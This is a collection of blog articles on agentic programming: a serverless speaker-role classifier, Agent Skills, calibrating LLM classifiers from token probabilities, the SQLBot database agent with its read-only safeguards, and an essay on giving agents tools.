This isn't just about speaker classification—it's about **development speed and business agility**. When you can solve problems in days instead of weeks, you can respond to business needs faster and deliver more value.

## Technical Architecture

The tool demonstrates several best practices:

### Modular Design

- Core classification logic separated from deployment concerns
- Easy to test and validate independently
- Reusable across different deployment targets

### Multiple Interfaces

- CLI for command-line usage
- Library API for programmatic access
- Lambda handler for serverless deployment
- Each interface wraps the same core logic

### Infrastructure-as-Code

AWS CDK code defines:
- Lambda function configuration
- IAM roles and permissions
- API Gateway setup
- CloudWatch log groups

This makes deployment reproducible and maintainable.

### Configuration Management

Environment variables and configuration files separate deployment-specific settings from code, enabling:
- Different configurations for dev/staging/production
- Easy model version updates
- Flexible API key management

## Serverless Benefits

The AWS Lambda deployment provides:

- **Automatic scaling**: Handle one call or one million
- **Pay-per-use pricing**: Only pay for actual processing time
- **Zero server management**: No infrastructure to maintain
- **High availability**: Built-in redundancy and failover
- **Global deployment**: Deploy to multiple regions easily

This is **intelligent automation** with enterprise-grade operational maturity.

## The Paradigm Shift

This tool emerged from a real-world need we had to solve quickly. Rather than spending weeks building a traditional solution with complex logic, we applied the agentic programming paradigm and delivered a working solution in a fraction of the time.

This represents a fundamental shift in software development:

- **From explicit programming to delegation**: Tell the agent what you need, not how to do it
- **From scenario mapping to flexible reasoning**: Agents adapt to new scenarios automatically
- **From maintenance burden to resilience**: Agents handle edge cases without code changes
- **From slow iteration to rapid delivery**: Ship solutions in days, not weeks

For more on this paradigm, see our article on [**giving an agent a tool**](/blog/give-an-agent-a-tool).

## Production-Ready Thinking

What makes this a production-ready tool rather than just a demo?

- **Multiple deployment options**: Choose what fits your architecture
- **Infrastructure-as-code**: Reproducible deployments
- **Error handling**: Graceful handling of edge cases
- **Logging and monitoring**: CloudWatch integration for observability
- **Configuration management**: Separate code from configuration
- **Documentation**: Clear usage examples and API documentation

These aren't just nice-to-haves—they're essential for systems that run in production environments.

## Open Source

The complete project is available on [GitHub](https://github.com/AnthusAI/speaker-role-classifier), including:

- CLI and library code
- AWS CDK infrastructure definitions
- Example transcripts and usage patterns
- Deployment documentation

We built this to solve a real problem in our call center QA work, and we're sharing it so others can solve similar problems without starting from scratch.

## Agentic Programming in Practice

Speaker Role Classifier exemplifies the agentic programming paradigm:

- **Solve real problems quickly**: Built and deployed in a fraction of traditional development time
- **Flexible by design**: Handles scenarios we didn't explicitly program for
- **Production-ready**: Not just a demo, but a deployable system with CLI, library, and serverless options
- **Infrastructure-as-code**: Reproducible, maintainable deployments with AWS CDK
- **Open source**: Share the approach so others can move fast too

This is how agentic programming enables business agility—by letting you focus on problems, not implementation details.

---

# Skills are procedures, not tools

> Anthropic's Agent Skills are folders of instructions, scripts, and resources the model loads when the job matches. That is a procedure pack, not another API.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-10-16

Canonical: https://anth.us/articles/agent-skills/

::image{
  src="images/posts/agent-skills.png"
  layout="center-small-image"
  alt="Agent Skills: folders of instructions, scripts, and resources for Claude"
}

[Agent Skills](https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills) are folders. A `SKILL.md` with a name and description, plus scripts and files the agent may load. Claude skims the metadata, pulls the rest only when the task matches, and can stack more than one. They work in Claude apps, Claude Code, and the API.

MCP already gave agents tools: capabilities on the other side of a protocol. Skills are the missing layer. A tool says *what can be called*. A skill says *how we do this job here* — the checklist, the template, the script that encodes a team's actual procedure. Put standing policy in the repo. Put capabilities on MCP. Put the playbook in a skill.

That split is the part that will still make sense when the folder format changes. General-purpose agents do not get specialized by stuffing more tools into the prompt. They get specialized by loading the right procedure at the right time.

---

# How to Make a Text Classifier Using an LLM

> Classification-with-Confidence follows an LLM classifier from Yes-or-No token probabilities through calibration, routing, and task-specific fine-tuning.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-09-17

Canonical: https://anth.us/articles/fine-tuned-classification-with-confidence/

::image{
  src="images/llm-classifiers/llm-text-classifier-cover.jpg"
  layout="right"
  alt="A robot sorts customer-service transcripts into classifier categories in a call analytics workspace."
}

Software often needs a bounded decision: detecting fraudulent transactions, checking whether a representative followed policy, or deciding whether a case should go to a person.

Our [Classification-with-Confidence](https://github.com/AnthusAI/Classification-with-Confidence) project works through that problem from end to end. It begins with a basic LLM text classifier, extracts the probability mass behind its possible labels, tests whether those raw scores match observed accuracy, calibrates them, and uses the result to decide which cases software can handle and which cases need review. It then fine-tunes the model for the specific task and measures the new confidence distribution.

The practical stake is bigger than getting a model to say **Yes** or **No**. A production system needs evidence about when that answer deserves action.

## The Freud Detector

An early experiment gave us the basic shape. A text-generating model could be constrained to make a binary choice, and its first-token log probabilities could be adapted into a score for that choice. The adapter was awkward: labels had to appear among the provider's returned tokens, capitalization and whitespace mattered, and every model or API change could alter the result.

The prompt supplied the reveal:

```text
Given the following quote, determine if it was said by Sigmund Freud.
Answer with either 'Yes' or 'No'.

Quote: {quote}

Was this quote by Sigmund Freud?
```

The [Freud detector notebook](https://github.com/AnthusAI/LLM-text-classifier-with-confidence/blob/main/Freud_Detector.ipynb) was a small historical test of the technique. It also exposed the core limitation: a token probability looks precise before we know whether it corresponds to observed accuracy. That question became the focus of Classification-with-Confidence.

## Count the whole class, not one spelling

The main project uses Meta's Llama 3.1-8B-Instruct model for binary sentiment classification. The prompt asks whether a piece of text is positive and requests **yes** or **no** as the answer. Because the model predicts tokens rather than abstract classes, one class can surface in several forms: `Yes`, `yes`, `YES`, `y`, and other configured equivalents.

Reading only the most likely token throws away the rest of that evidence. The project's [classifier implementation](https://github.com/AnthusAI/Classification-with-Confidence/blob/main/logprobs_confidence.py) instead adds the probabilities for every configured token that represents the positive class and does the same for the negative class:

```text
positive score = Σ P(token) for every positive-label token
negative score = Σ P(token) for every negative-label token
prediction = class with the larger total
```

This matters when the model divides its probability across equivalent answers. In the repository's “I love this movie!” example, `Yes` and `yes` carry nearly all the mass between them. In its deliberately ambiguous “Best worst thing ever” example, the combined yes variants and no variants land close together. Aggregation recovers that difference much better than looking at the single winning spelling.

It still produces a raw model score. Probability assigned to unrelated tokens remains outside the two class totals, and a high total doesn't establish how often the classification is right.

## Compare the score with outcomes

Classification-with-Confidence includes a labeled [10,000-example sentiment dataset](https://github.com/AnthusAI/Classification-with-Confidence/tree/main/dataset) organized into strong, medium, weak, and neutral positive and negative categories. The range was intentional: the project needed obvious examples and ambiguous examples to exercise different parts of the score distribution.

The repository reports a run of Llama 3.1-8B across 1,000 randomly selected examples. For each example, it recorded the aggregated class score and whether the predicted sentiment matched the label. It then grouped predictions into five-point score bands and compared each band's raw probability with its observed accuracy.

::image{
  src="images/llm-classifiers/classification-confidence-raw-reliability.png"
  layout="full"
  alt="Reliability chart from Classification-with-Confidence comparing raw total probability with observed
  accuracy across 1,000 sentiment predictions."
  caption="In the project's 1,000-example run, raw total probability generally sorted stronger from weaker predictions, but it overstated observed accuracy in important score bands. Bubble labels show the number of examples in each band."
}

The largest band contained 532 predictions with raw totals between 95% and 100%. Their observed accuracy in this run was 83.5%. That gap is the useful finding. The score carried information about difficulty, but its numeric value couldn't yet be read as a success rate.

These are project results from a constructed sentiment dataset and one model configuration. They don't establish calibration for another dataset, domain, prompt, model revision, or provider.

## Calibrate before treating a score as confidence

Calibration learns a mapping from a raw score to observed correctness. Classification-with-Confidence implements [Platt scaling and isotonic regression](https://github.com/AnthusAI/Classification-with-Confidence/blob/main/calibration.py):

- **Platt scaling** fits a logistic curve, which is compact and smooth.
- **Isotonic regression** learns a monotonic mapping without assuming a sigmoid shape, which gives it more flexibility and a greater appetite for calibration data.

The repository's charts report that both mappings moved its reliability points closer to the diagonal where predicted confidence equals observed accuracy. Read that as a result of this experiment. It isn't a permanent property of Llama 3.1-8B, and it doesn't make a threshold a guarantee.

For a production evaluation, the calibration fit and the final measurement need separate data. Keep an untouched test partition, preserve meaningful slices, and rerun the check when the model, prompt, label definition, or input population changes. Otherwise the calibrator can describe the examples it already saw while failing on the next batch.

## Route different confidence bands differently

Once the score has been tested and calibrated on representative data, it becomes an operating input. High-confidence, low-consequence cases might pass automatically. A middle band might go to a person. High-consequence decisions might always require review, regardless of score.

The threshold is a business decision because accuracy and coverage move together. Raising it sends fewer cases through automation and usually improves the observed accuracy of the remaining cases. Lowering it covers more volume and accepts more errors.

::image{
  src="images/llm-classifiers/classification-confidence-thresholds.png"
  layout="full"
  alt="Project chart showing the trade-off between score threshold, number of sentiment predictions above the
  threshold, and their observed accuracy."
  caption="The project's raw-score run illustrates the coverage trade-off. The chart is diagnostic evidence from that sample, rather than a production service level: its 95% raw threshold selected 532 examples whose observed accuracy was 83.5%."
}

That is why the operating metric should be cost per accepted decision at a defined error tolerance. Inference, human review, retries, and the cost of mistakes all belong in the calculation. One global threshold is rarely enough; different questions and consequences deserve different policies.

## Fine-tune the task, then measure again

The project next fine-tunes Llama 3.1-8B with LoRA on task-specific examples from the same sentiment dataset. Its current [training code](https://github.com/AnthusAI/Classification-with-Confidence/blob/main/fine_tune_model.py) creates an 80/20 split before formatting the training data, and its [comparison code](https://github.com/AnthusAI/Classification-with-Confidence/blob/main/compare_base_vs_finetuned.py) prefers the saved held-out set when comparing the base and fine-tuned models.

The dataset intentionally contains a learnable domain pattern: sports contexts occur more often among positive examples, while workplace contexts occur more often among negative examples. That makes the experiment a demonstration of task-specific alignment. It also makes the boundary clear. The fine-tuned classifier is learning this project's labels and distribution; it isn't becoming a universally better sentiment model.

The repository reports higher task accuracy, lower calibration error, and more predictions in its high-confidence bands after fine-tuning. Its confidence-distribution chart shows the visible change:

::image{
  src="images/llm-classifiers/classification-confidence-fine-tuning.png"
  layout="full"
  alt="Two histograms from the project compare confidence-score distributions for the base and task-specific
  fine-tuned Llama 3.1-8B models."
  caption="In this project run, the fine-tuned model placed more predictions near the top of its score range. That can expand the useful high-confidence band only when held-out accuracy and calibration improve with it."
}

A pileup near 1.0 isn't automatically good news. A model can become more certain without becoming more correct. The fine-tuned path therefore has to repeat the same sequence: record raw probabilities, compare them with held-out outcomes, recalibrate, and choose thresholds from the resulting evidence.

## The earlier classifier-native baseline

Before these LLM experiments, our [semantic text classification project](https://github.com/AnthusAI/semantic-text-classification) used Word2Vec, BERT, OpenAI Ada 2, and AWS Titan embeddings as inputs to logistic regression. The BERT path was BERT embeddings plus logistic regression, rather than `BertForSequenceClassification`. That conventional stack returned a task-specific class probability directly and helped frame the question explored here: how much machinery does it take to recover the same operating contract from a text generator?

## What carries into production

Classification-with-Confidence provides a concrete progression:

1. Constrain generation to a bounded classification answer.
2. Aggregate the probability mass of equivalent label tokens.
3. Compare raw scores with correctness on labeled examples.
4. Fit and evaluate a calibration mapping.
5. Route cases according to calibrated thresholds and consequence.
6. Fine-tune for the task, then repeat the evaluation.

Every step depends on the data that supports it. A random sample from a deliberately balanced experiment is useful for learning the mechanism. Production evidence has to represent the traffic, edge cases, languages, clients, and failure costs the system will actually encounter. Calibration also drifts when those inputs change.

The technique depends on access to token probabilities. Local transformer models expose them; hosted providers vary by model and can change their APIs. Label tokenization and output behavior can change too. Version the whole path—model, prompt, token mapping, dataset, calibrator, and threshold—and re-evaluate it as a system.

That is the durable lesson. An LLM can be made to behave like a classifier, but useful confidence comes from measured outcomes and an operating policy around them.

---

## Addendum — September 18, 2026

Since this article was first published, TypeSafe has introduced Jev, a model with a classifier-shaped interface for typed decisions and probabilities. Our companion article, [Making Decisions Instead of Generating Text](/blog/making-decisions-instead-of-generating-text/), examines that claim through the production lens developed here. The Freud notebook doesn't predict how Jev will perform in 2026. It explains why a native, probability-aware decision contract is worth testing: we spent years constructing one around models designed to generate text.

---

# SQLBot: Your AI Database Analyst

> SQLBot is a new kind of interface for your database. Instead of writing SQL queries yourself, you delegate high-level analytical tasks to an AI agent. It reasons through your request, executing a chain of queries and analyzing the results until it arrives at a complete answer—all while keeping your…

By [Ryan Porter](https://anth.us/ryan) · Published 2025-09-15

Canonical: https://anth.us/articles/sqlbot/

::image{src="images/sqlbot-screen.gif" layout="centered" alt="SQLBot Demo"}

**"If you give an agent a tool, then nobody has to fish."**

SQLBot is a new kind of interface for your database. Instead of writing SQL queries yourself, you delegate high-level analytical tasks to an AI agent. It reasons through your request, executing a chain of queries and analyzing the results until it arrives at a complete answer—all while keeping your data safe with built-in safeguards.

It represents the next logical layer on the modern data stack, building directly on the power of SQL and dbt.

## The Problem with Raw SQL

Most people use SQL through apps. Maybe you're comfortable writing raw SQL queries if you're a wizard. Most people aren't.

::image{src="images/sqlbot-arch-1.png" layout="centered" alt="SQL Layer: The foundation layer showing raw SQL complexity"}

Sure, SQL powers most relational databases—it's incredibly powerful. But here's the thing: even simple questions can turn into sprawling queries with multiple joins and cryptic table relationships. Want to see what a "basic" customer lookup actually looks like? Here's what you'd need to write just to get someone's rental history from the Sakila database:

```sql
-- Raw SQL: Get rental history for customer 526
SELECT
  f.title,
  f.description,
  r.rental_date
FROM customer c
JOIN rental r
  ON c.customer_id = r.customer_id
JOIN inventory i
  ON r.inventory_id = i.inventory_id
JOIN film f
  ON i.film_id = f.film_id
WHERE
  c.customer_id = 526
ORDER BY
  r.rental_date DESC;
```

This is hard to reuse and requires every user to understand the database's join logic.

## Enter dbt: Sharing Database Knowledge

::image{src="images/sqlbot-arch-2.png" layout="centered" alt="dbt Layer: Knowledge sharing layer making database expertise accessible to business users"}

Here's where dbt changes the game. Those database wizards who understand all the table relationships? They can package their knowledge into macros and schemas that business users can actually work with. That ugly query above becomes a simple, self-documenting function:

```sql
-- In a file like `macros/get_customer_rental_history.sql`
{% macro get_customer_rental_history(customer_id) %}
  SELECT
    f.title,
    f.description,
    r.rental_date
  FROM customer c
  JOIN rental r
    ON c.customer_id = r.customer_id
  JOIN inventory i
    ON r.inventory_id = i.inventory_id
  JOIN film f
    ON i.film_id = f.film_id
  WHERE
    c.customer_id = {{ customer_id }}
  ORDER BY
    r.rental_date DESC;
{% endmacro %}
```

Suddenly, business users can access complex database operations without needing to understand the underlying join logic:

```sql
-- A business user can now write this instead:
{{ get_customer_rental_history(customer_id=526) }}
```

The real magic happens in dbt's `schema.yml` files—they're like institutional memory for your database. Wizards document what each table and column actually means in plain English, creating a shared vocabulary that makes databases accessible to entire teams.

## SQLBot: Adding Intelligence & Safety

::image{src="images/sqlbot-arch-3.png" layout="centered" alt="SQLBot Layer: Intelligence and safety layer with AI agent on top of the stack"}

SQLBot adds the final layer: an AI agent that uses the structure dbt provides while keeping your data protected. The agent is armed with two crucial pieces of information from your dbt profile:

- **The Schema (`schema.yml`)**: It reads your table and column descriptions to understand what your data means.
- **The Macros (`macros/*.sql`)**: It learns your reusable business logic to solve complex tasks more efficiently.

**Built-in Safeguards**: SQLBot includes read-only protections and query validation to prevent dangerous operations like `DROP`, `DELETE`, or `UPDATE` commands, ensuring your data stays safe while you focus on analysis rather than syntax.

This layered approach gives you the best of all worlds: the raw power of SQL, the structure and reusability of dbt, the conversational intelligence of an AI Agent, and the peace of mind that comes with built-in safety controls.

## The Result: A Real-World Example

Because the agent understands this stack, you no longer write SQL or dbt. You state a business goal.

**You:** "I want to run a 'customer of the month' promotion. First, identify our single best customer based on their total lifetime payment amount. Once you have that customer, find out which actor they have rented the most movies from. I'll need the customer's full name, their email address, the full name of their favorite actor, and the count of films they've rented by that actor."

SQLBot accepts the task and begins its reasoning process, writing and executing the necessary SQL.

**Query 1: Find the Top Customer**

```sql
SELECT p.customer_id, c.first_name, c.last_name, c.email, SUM(p.amount) AS total_payments
FROM payment p
JOIN customer c ON p.customer_id = c.customer_id
GROUP BY p.customer_id
ORDER BY total_payments DESC
LIMIT 1
```

```
✔ Query passes safeguard against dangerous operations.
▷ Query Result → Success: Query completed
```

**Query 2: Find Their Favorite Actor**

```sql
WITH cust_rentals AS (
  SELECT r.rental_id, r.inventory_id
  FROM rental r
  WHERE r.customer_id = 526
), films AS (
  SELECT cr.rental_id, i.film_id
  FROM cust_rentals cr
  JOIN inventory i ON cr.inventory_id = i.inventory_id
), film_actor_map AS (
  SELECT f.rental_id, fa.actor_id
  FROM films f
  JOIN film_actor fa ON f.film_id = fa.film_id
)
SELECT a.first_name || ' ' || a.last_name AS actor_name, COUNT(*) AS rentals_by_actor
FROM film_actor_map fam
JOIN actor a ON fam.actor_id = a.actor_id
GROUP BY fam.actor_id
ORDER BY rentals_by_actor DESC, actor_name ASC
LIMIT 1
```

```
✔ Query passes safeguard against dangerous operations.
▷ Query Result → Success: Query completed
```

It then delivers a synthesized answer, even suggesting the next logical step.

**SQLBot:**
> Got it — we'll find the top customer by total payments, then their most-rented actor.
>
> **Approach:**
> - Query total lifetime payments by customer to get the top customer.
> - For that customer, join rentals → inventory → film_actor → actor to find the actor with the highest rental count.
>
> **Results:**
> - **Customer:** KARL SEAL
> - **Email:** KARL.SEAL@sakilacustomer.org
> - **Favorite actor:** UMA WOOD
> - **Films rented from that actor:** 6
>
> **Next step suggestion:**
> Want a quick profile for this customer (total rentals, average spend, preferred categories)?

## From SQL Syntax to Business Questions

The traditional approach requires you to:
1. **Write SQL** - Master complex syntax and join logic
2. **Debug queries** - Fix syntax errors and performance issues
3. **Interpret results** - Manually analyze and synthesize findings

SQLBot flips this model. Instead of writing SQL, you **delegate analysis**:
1. **Ask business questions** - "Who are our top customers this quarter?"
2. **Let the agent work** - It writes, executes, and chains multiple queries safely
3. **Get insights** - Receive synthesized answers with suggested next steps

The result? You spend time on strategy and insights, not syntax and debugging.

## Key Features

- **Multi-Step Task Resolution**: Handles complex tasks by executing a sequence of queries in a single turn.
- **Context-Aware**: Uses your `schema.yml` and dbt macros to generate accurate, business-aware queries.
- **Built-in Safety**: Read-only safeguards prevent dangerous operations while allowing full analytical power.
- **Iterative & Interactive**: Reasons through data step-by-step, recovers from errors, and allows for conversational follow-ups.
- **Data Export**: Export query results to CSV, Excel, or Parquet formats with simple natural language commands.
- **Direct SQL Passthrough**: For experts, end any query with a semicolon (`;`) to bypass the agent and run it directly.
- **Profile-Based**: Easily switch between different database environments (`--profile mycompany`).
- **Broad Database Support**: Works with SQL Server, PostgreSQL, Snowflake, SQLite, and more.

## Data Export Capabilities

SQLBot includes powerful data export functionality that allows you to save query results in multiple formats:

### Supported Export Formats

- **CSV** (default): Comma-separated values, perfect for spreadsheet applications
- **Excel**: Native `.xlsx` format with proper formatting
- **Parquet**: Columnar format optimized for analytics and big data workflows

### How to Export Data

After running any successful query, you can export the results using natural language:

```bash
# After running a query, simply ask to export
> "Show me the top 10 customers by revenue"
[Query executes and shows results]

> "Export this to CSV"
> "Save this as Excel"
> "Export to Parquet format"
> "Save this to /path/to/my/reports as Excel"
```

### Export Features

- **Automatic File Naming**: Files are automatically named with query index and timestamp (e.g., `sqlbot_query_1_20241201_143022.csv`)
- **Smart Location**: Exports to `./tmp` directory by default (created automatically)
- **Custom Locations**: Specify any directory path for your exports
- **Only Latest Results**: Exports the most recent successful query results for data integrity
- **Error Handling**: Clear error messages if no data is available or export fails

## Install & Setup

### 1. Installation

```bash
pip install sqlbot

# Verify installation
sqlbot --help
```

### 2. Environment (.env)

Create a `.env` file in the root directory with your API key and database credentials.

```bash
# OpenAI API Configuration
OPENAI_API_KEY=your_openai_api_key_here

# SQLBot LLM Configuration
SQLBOT_LLM_MODEL=gpt-5
SQLBOT_LLM_MAX_TOKENS=10000
SQLBOT_LLM_TEMPERATURE=0.1
SQLBOT_LLM_VERBOSITY=low
SQLBOT_LLM_EFFORT=minimal
SQLBOT_LLM_PROVIDER=openai
```

### 3. Database Connection (dbt profiles)

SQLBot supports both **local** and **global** dbt profile configurations:

- **Local profiles** (recommended): Create `.dbt/profiles.yml` in your project directory for project-specific configurations
- **Global profiles**: Use `~/.dbt/profiles.yml` for system-wide configurations

SQLBot automatically detects and prioritizes local profiles when available.

**PostgreSQL:**

```yaml
qbot:
  target: dev
  outputs:
    dev:
      type: postgres
      host: "{{ env_var('DB_SERVER') }}"
      user: "{{ env_var('DB_USER') }}"
      password: "{{ env_var('DB_PASS') }}"
      dbname: "{{ env_var('DB_NAME') }}"
```

**SQL Server:**

```yaml
qbot:
  target: dev
  outputs:
    dev:
      type: sqlserver
      driver: 'ODBC Driver 17 for SQL Server'
      server: "{{ env_var('DB_SERVER') }}"
      database: "{{ env_var('DB_NAME') }}"
      user: "{{ env_var('DB_USER') }}"
      password: "{{ env_var('DB_PASS') }}"
```

Then, test your connection: `dbt debug`

### 4. Teach the Agent Your Schema

This is the most important step. Create a `profiles/qbot/models/schema.yml` file. The agent's performance depends heavily on clear, detailed descriptions for your tables and columns.

```yaml
version: 2
sources:
  - name: my_database
    schema: dbo
    tables:
      - name: customers
        description: "Contains one record per customer, including personal details and account creation date."
        columns:
          - name: customer_id
            description: "Unique identifier for each customer (Primary Key)."
```

## Usage

```bash
# Start interactive mode
sqlbot

# Delegate a task from the command line
sqlbot "How many new customers did we get last month?"
```

## Quick Start with Sample Data

**🚀 Recommended:** Use our standalone demo project for the easiest SQLBot experience:

```bash
# Clone the demo project (includes everything you need)
git clone https://github.com/AnthusAI/SQLBot-Sakila-SQLite
cd SQLBot-Sakila-SQLite

# Install SQLBot and dependencies
pip install -e .

# Set up the Sakila database (SQLite - no server required!)
sqlbot setup sakila

# Start exploring with natural language queries
sqlbot --profile Sakila
```

**Try these queries:**
- "How many films are in each category?"
- "Which actors appear in the most films?"
- "Show me customers from California"

**Why SQLite?** No database server installation required! The Sakila database runs entirely from a single `.db` file with:
- **1,000 films** with ratings, categories, and descriptions
- **599 customers** with rental history and payments
- **16,000+ rental transactions** for realistic testing
- **Complete relational structure** with actors, categories, inventory

## Using the Demo as a Template

The [SQLBot-Sakila-SQLite demo project](https://github.com/AnthusAI/SQLBot-Sakila-SQLite) demonstrates the **recommended project structure** for SQLBot:

```
your-database-project/
├── .sqlbot/                    # All SQLBot configuration
│   ├── config.yml             # SQLBot settings
│   ├── agents/                # Custom database knowledge
│   └── profiles/YourDB/       # Database files and config
├── .dbt/profiles.yml          # Local dbt connection config
├── pyproject.toml             # Python dependencies
└── README.md                  # Project documentation
```

**Key benefits:**
- ✅ **Clean separation** - Keep your database project separate from SQLBot infrastructure
- ✅ **Security** - Store proprietary database projects in private repositories
- ✅ **No junk files** - All SQLBot files contained in `.sqlbot/` folder
- ✅ **Self-contained** - Everything needed for your database in one project
- ✅ **Version control** - Track database queries, agents, and configuration

## Security

- **SQL Injection**: Mitigated by using dbt's compilation, which inherently parameterizes inputs.
- **Credentials**: API keys and database passwords are loaded securely from environment variables.
- **Permissions**: We strongly recommend running SQLBot with a read-only database user.

## Open Source

The complete project is available on [GitHub](https://github.com/AnthusAI/SQLBot) under the MIT license.

---

# Give an Agent a Tool

> A demonstration of a fundamental paradigm shift in computer programming: from writing explicit code for every scenario to giving intelligent agents the right tools and letting them figure it out. This project shows how the same task that requires hundreds of lines of complex branching logic in trad…

By [Ryan Porter](https://anth.us/ryan) · Published 2025-09-15

Canonical: https://anth.us/articles/give-an-agent-a-tool/

::image{
  src="images/give-an-agent-a-tool.png"
  layout="center-small-image"
  alt="Give an agent a tool: If you give an agent a tool, then nobody has to fish"
}

## A Programming Paradigm Shift

> _"If you give an agent a tool, then nobody has to fish."_

For decades, learning to write computer code has been one of the most challenging skills a person could master. Programming meant thinking like a machine—anticipating every possible scenario, handling every edge case, and writing explicit instructions for each step. It was a uniquely human burden: translating complex real-world problems into rigid, logical sequences that computers could follow.

**Give an Agent a Tool** demonstrates a fundamental shift in how we write computer programs. Instead of anticipating every scenario with explicit code, we provide intelligent agents with the right tools and let them figure out how to use them.

## Why This Is an AI Solution

This became clear to us while building an RLHF (Reinforcement Learning from Human Feedback) system for call center quality assurance. The agents in that system had to keep improving based on human feedback, and that ruled out anticipating every scenario in advance: you can't pre-program behaviors for a system that's supposed to keep changing. Instead, we gave the agents tools and let them work out how to use those tools more effectively over time.

This project distills that into a smaller, clearer demonstration: instead of writing more comprehensive if/else statements, give an agent the right capability and let it figure out the rest.

## The Problem: Data Variability

Here's a real-world challenge we face constantly: receiving people data from many sources (CRM exports, event sign-ups, HR spreadsheets, legacy systems). Each file is a table, but headers, orders, and languages vary. The simple business goal is always the same: **extract each person's name and email**.

You might see all of these formats on the same day:

**Common CRM export:**
```
First Name | Last Name | Email
John       | Doe       | john@example.com
Jane       | Smith     | jane@test.org
```

**Last, First ordering:**
```
Last  | First | Email
Doe   | John  | john@example.com
Smith | Jane  | jane@test.org
```

**Different header names + extra columns:**
```
NAME       | WORK EMAIL           | ID
John Doe   | john@example.com     | 101
Jane Smith | jane@test.org        | 102
```

**International (Spanish):**
```
Nombre | Apellidos | Correo
Luis   | García    | luis@empresa.es
María  | López     | maria@test.es
```

## Traditional Approach: Anticipate Everything

The traditional programming approach requires explicit code for every variation:

```python
synonyms = {
  first_name: ["first", "first name", "given", "nombre"],
  last_name:  ["last", "last name", "surname", "apellidos"],
  email:      ["email", "work email", "correo", "email address"]
}

table = parse_table(text, auto_detect_delimiter=True)
headers = normalize_headers(table.headers, using=synonyms)

out = []
for row in table.rows:
  (first, last) = infer_name(row, headers)
    # if name == "Last, First" -> split on comma
    # else if single NAME -> split on space(s)
  email = find_email(row, headers, fallback_to_notes=True)
  if missing(first) and missing(last) or missing(email):
    error "Missing name or email — add another case"
  out.append({first_name: first, last_name: last, email: email})

return out
```

This works... until a new variation appears:

**Unexpected legacy export:**
```
Contact Info        | Details
"Smith, Jane (Mgr)" | "jane.smith@company.com"
"Rodriguez, Carlos" | "carlos.r@email.com Phone: 555.987.6543"
```

❌ **Error**: `ValueError: Unsupported headers: Contact Info, Details`

The import fails. We didn't anticipate this header scheme or the mixed email/phone cell. Now we need to add more mappings and conditionals, growing the complexity of our code.

## Agent Approach: Provide Tools and Goals

Instead of growing a thicket of if/else statements, we give one business action to an agent and describe the goal:

**Agent prompt:**
```
You are a contact import assistant.
Goal: read the CSV below and file each contact you can find.
Use the single tool file_contact(name, email?, phone?) to file each person.
Infer names and emails/phones from whatever headers or content appear.
```

**Tool definition:**
```python
def file_contact(name: str, email: str = None, phone: str = None):
    """Save a single contact record where name is required
    and at least one of email or phone is provided."""
    # Store the contact
    pass
```

When the unexpected legacy export arrives, the agent adapts automatically:
- Reads the table structure
- Infers that "Contact Info" contains names
- Extracts emails and phones from the "Details" field
- Calls `file_contact()` for each person

✅ **Success** - no code changes needed.

## The Real Test: Completely Unexpected Formats

The true power becomes clear with formats that weren't anticipated at all:

**Messy real-world export:**
```
"Contact Info","Details","Extra"
"Smith, Jane (Manager)","jane.smith@company.com | Mobile: +1-555-0123","Dept: Sales"
"Rodriguez, Carlos","carlos.r@email.com Phone: 555.987.6543","Engineering Lead"
```

**Traditional Approach:**
- ❌ Breaks completely - doesn't recognize the format
- ❌ Can't parse names with titles in parentheses
- ❌ Can't extract emails/phones from mixed delimiter fields
- ❌ Requires major code changes to handle this format

**Agent Approach:**
- ✅ Automatically recognizes it's CSV despite unusual structure
- ✅ Intelligently parses "Smith, Jane (Manager)" → First: Jane, Last: Smith
- ✅ Extracts email and phone from mixed delimiter strings
- ✅ Handles it with the same tools, no code changes needed

This demonstrates **true agility** - the ability to handle evolving requirements and unexpected data without rewriting core logic.

## Why This Matters

You don't need to be a programmer to see why this matters:

- **Traditional programming**: Like writing a 500-page manual for every possible situation an employee might encounter
- **Agent programming**: Like hiring a smart employee, giving them the right tools, and trusting them to figure it out

The first approach requires you to think of everything. The second approach lets intelligence emerge from the combination of simple tools and smart delegation.

## "In the future, the only code you will write is business logic."

_— Werner Vogels, CTO of AWS_

This example demonstrates exactly that. We don't enumerate formats—we implement the one capability the business cares about (`file_contact`) and let the agent do the rest.

Writing code is not the hard part. The hard part is **keeping code working over time** as inputs change and people depend on it. What really drives time and money over the long run:

- **Changes keep coming**: vendor export tweaks, new languages, new columns
- **Every new rule risks breaking something else**
- **Time spent coordinating changes across teams**
- **Outages**: failed imports can interrupt the business
- **Duplicate logic** spreads and drifts across systems

With agents, that long-term cost shifts from "rewrite rules for each new case" to "reuse the same tool and let the agent adapt." You maintain far less code and lower the chance of interruptions, while keeping the only code you write—the business tool—simple and focused.

## The Agentic AI Paradigm

This project exemplifies the **agentic AI** paradigm we emphasize in our work:

- **Self-evolving systems**: Agents adapt to new scenarios without explicit programming
- **Tool use**: Agents accomplish goals by intelligently using provided capabilities
- **Intelligent automation**: Automation that handles unexpected situations gracefully
- **Reduced maintenance burden**: Less code to maintain, fewer edge cases to anticipate

This is the same paradigm that powers our other solutions like [SQLBot](/solutions/sqlbot), where we give an agent SQL tools and let it figure out how to answer natural language questions about databases.

## Real-World Applications

This approach applies anywhere you face data variability:

### Data Integration
- Import contacts from dozens of different CRM systems
- Consolidate spreadsheets from multiple departments
- Process vendor data feeds with varying formats

### ETL Pipelines
- Handle schema evolution without pipeline rewrites
- Process international data with varying conventions
- Adapt to unexpected data quality issues

### API Integration
- Work with APIs that change their response formats
- Handle different versions of the same API
- Process responses from multiple similar services

### Document Processing
- Extract structured data from varied document formats
- Handle invoices from different vendors
- Process forms with different layouts

## Technical Implementation

The project includes:

- **Traditional approach**: Complete implementation showing the complexity of explicit code
- **Agent approach**: Streamlined implementation using LLM-based agents with tools
- **Side-by-side comparison**: Run both approaches on the same data
- **Test suite**: Comprehensive tests including unexpected formats
- **Real-world examples**: Actual data variations we've encountered

The code demonstrates how the same business capability (`file_contact`) handles all variations when given to an intelligent agent.

## Inspired By SQLBot

This project was inspired by our [SQLBot](/solutions/sqlbot) work, which demonstrates this paradigm shift in the context of database querying. SQLBot shows how an agent with SQL tools can be more flexible than traditional query builders.

Both projects illustrate the same principle: **give an agent the right tools, and it will figure out how to accomplish the goal**.

## Open Source

The complete project is available on [GitHub](https://github.com/AnthusAI/Give-an-Agent-a-Tool), including:

- Traditional and agent-based implementations
- Comprehensive test suite
- Real-world data examples
- Side-by-side comparisons
